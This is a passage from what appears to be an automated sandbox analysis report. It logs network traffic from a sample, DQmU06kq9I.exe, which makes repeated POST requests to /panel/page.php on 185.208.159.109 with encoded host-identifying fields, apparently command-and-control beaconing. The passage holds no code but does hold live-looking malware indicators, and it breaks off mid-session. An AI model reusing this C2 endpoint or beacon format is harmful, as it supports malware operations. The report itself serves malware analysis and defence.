Dec 17, 2024 10:22:46.135683060 CET	80	49990	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:46.135871887 CET	49990	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:46.135905981 CET	49990	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:46.255682945 CET	80	49990	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:46.487687111 CET	49990	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:46.607511044 CET	80	49990	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:47.413961887 CET	80	49990	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:47.518810034 CET	49990	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:47.648416042 CET	80	49990	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:47.721990108 CET	49990	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:52.423094988 CET	80	49990	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:52.423284054 CET	49990	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:54.999517918 CET	49989	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:55.000072956 CET	49991	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:55.119362116 CET	80	49989	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:55.119924068 CET	80	49991	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:55.119995117 CET	49991	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:55.120124102 CET	49991	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:55.240777969 CET	80	49991	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:55.472045898 CET	49991	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:55.591912031 CET	80	49991	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:56.399256945 CET	80	49991	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:56.440690994 CET	49991	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:56.632327080 CET	80	49991	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:56.831357002 CET	49991	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:01.407948971 CET	80	49991	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:01.408158064 CET	49991	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:12.978766918 CET	49990	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:12.979238987 CET	49992	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:13.098814964 CET	80	49990	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:13.099111080 CET	80	49992	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:13.101869106 CET	49992	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:13.101975918 CET	49992	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:13.221827030 CET	80	49992	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:13.456403971 CET	49992	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:13.576322079 CET	80	49992	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:14.379671097 CET	80	49992	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:14.518821001 CET	49992	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:14.616410971 CET	80	49992	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:14.721966982 CET	49992	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:19.273072958 CET	49991	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:19.274441957 CET	49993	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:19.386686087 CET	80	49992	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:19.386785984 CET	49992	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:19.393325090 CET	80	49991	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:19.394315958 CET	80	49993	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:19.394386053 CET	49993	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:20.681636095 CET	49993	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:20.801515102 CET	80	49993	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:21.034584999 CET	49993	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:21.092236042 CET	80	49993	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:21.144026041 CET	49993	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:21.154747963 CET	80	49993	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:21.449776888 CET	80	49993	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:21.638539076 CET	49993	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:23.230217934 CET	49995	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:23.352770090 CET	80	49995	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:23.352897882 CET	49995	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:23.353261948 CET	49995	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:23.473125935 CET	80	49995	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:23.706594944 CET	49995	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:23.826451063 CET	80	49995	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:24.637139082 CET	80	49995	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:24.690730095 CET	49995	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:24.868328094 CET	80	49995	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:24.909487963 CET	49995	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:26.453879118 CET	80	49993	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:26.453952074 CET	49993	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:29.644222975 CET	80	49995	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:29.644296885 CET	49995	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:31.519593000 CET	49992	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:31.519648075 CET	49996	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:31.639497042 CET	80	49992	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:31.639527082 CET	80	49996	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:31.639671087 CET	49996	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:31.639780045 CET	49996	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:31.759484053 CET	80	49996	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:31.987653017 CET	49996	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:32.107350111 CET	80	49996	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:32.917309046 CET	80	49996	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:32.971951962 CET	49996	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:33.153312922 CET	80	49996	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:33.206336021 CET	49996	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:23:38.025374889 CET	80	49996	185.208.159.109	192.168.2.5
Dec 17, 2024 10:23:38.025440931 CET	49996	80	192.168.2.5	185.208.159.109

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 10:23:20.034152985 CET	1.1.1.1	192.168.2.5	0x3714	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 10:23:20.034152985 CET	1.1.1.1	192.168.2.5	0x3714	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

185.208.159.109

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49826	185.208.159.109	80	5440	C:\Users\user\Desktop\DQmU06kq9I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:20:17.778166056 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:20:18.128650904 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=xVu0Qs2GDm9vhxVZdowHo65Cx6Lk570aXO~vR4zPdoU=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:20:19.057401896 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:20:19.292892933 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:20:18 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49867	185.208.159.109	80	5440	C:\Users\user\Desktop\DQmU06kq9I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:20:35.577512026 CET	194	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue
Dec 17, 2024 10:20:35.925260067 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=xVu0Qs2GDm9vhxVZdowHo65Cx6Lk570aXO~vR4zPdoU=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:20:36.861203909 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:20:37.096514940 CET	147	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:20:36 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49908	185.208.159.109	80	5440	C:\Users\user\Desktop\DQmU06kq9I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:20:55.126995087 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:20:55.472043037 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=xVu0Qs2GDm9vhxVZdowHo65Cx6Lk570aXO~vR4zPdoU=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:20:56.405700922 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:20:56.644464970 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:20:56 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49948	185.208.159.109	80	5440	C:\Users\user\Desktop\DQmU06kq9I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:21:12.296504021 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:21:12.644069910 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=xVu0Qs2GDm9vhxVZdowHo65Cx6Lk570aXO~vR4zPdoU=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:21:13.574693918 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:21:13.808129072 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:21:13 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49979	185.208.159.109	80	2680	C:\Users\user\Desktop\DQmU06kq9I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:21:28.354572058 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:21:28.706501961 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=Xfp4UHTAOzVRojl53ZnJ~DpOy/YqNSzD2TEmrgeCO8E=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:21:29.632493019 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:21:29.868261099 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:21:29 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49980	185.208.159.109	80	5440	C:\Users\user\Desktop\DQmU06kq9I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:21:31.202579975 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:21:31.550246000 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=xVu0Qs2GDm9vhxVZdowHo65Cx6Lk570aXO~vR4zPdoU=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:21:32.484730959 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:21:32.720211029 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:21:32 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49981	185.208.159.109	80	2680	C:\Users\user\Desktop\DQmU06kq9I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:21:36.853759050 CET	194	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue
Dec 17, 2024 10:21:37.207747936 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=Xfp4UHTAOzVRojl53ZnJ~DpOy/YqNSzD2TEmrgeCO8E=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:21:38.012603998 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:21:38.252089024 CET	147	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:21:37 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49982	185.208.159.109	80	5440	C:\Users\user\Desktop\DQmU06kq9I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:21:43.390369892 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:21:43.738125086 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=xVu0Qs2GDm9vhxVZdowHo65Cx6Lk570aXO~vR4zPdoU=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:21:44.676506996 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:21:44.912226915 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:21:44 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49983	185.208.159.109	80	2680	C:\Users\user\Desktop\DQmU06kq9I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:21:54.015923977 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:21:54.362643003 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=Xfp4UHTAOzVRojl53ZnJ~DpOy/YqNSzD2TEmrgeCO8E=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:21:55.292049885 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:21:55.524868965 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:21:55 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49984	185.208.159.109	80	5440	C:\Users\user\Desktop\DQmU06kq9I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:21:55.686429977 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:21:56.034478903 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=xVu0Qs2GDm9vhxVZdowHo65Cx6Lk570aXO~vR4zPdoU=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:21:56.966278076 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:21:57.204272032 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:21:56 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49985	185.208.159.109	80	5440	C:\Users\user\Desktop\DQmU06kq9I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:22:11.312266111 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:22:11.660044909 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=xVu0Qs2GDm9vhxVZdowHo65Cx6Lk570aXO~vR4zPdoU=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:22:12.590095997 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:22:12.824393988 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:22:12 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49986	185.208.159.109	80	2680	C:\Users\user\Desktop\DQmU06kq9I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:22:13.875257969 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:22:14.222560883 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=Xfp4UHTAOzVRojl53ZnJ~DpOy/YqNSzD2TEmrgeCO8E=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:22:15.152443886 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:22:15.389276028 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:22:14 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49987	185.208.159.109	80	2680	C:\Users\user\Desktop\DQmU06kq9I.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:22:29.250087976 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
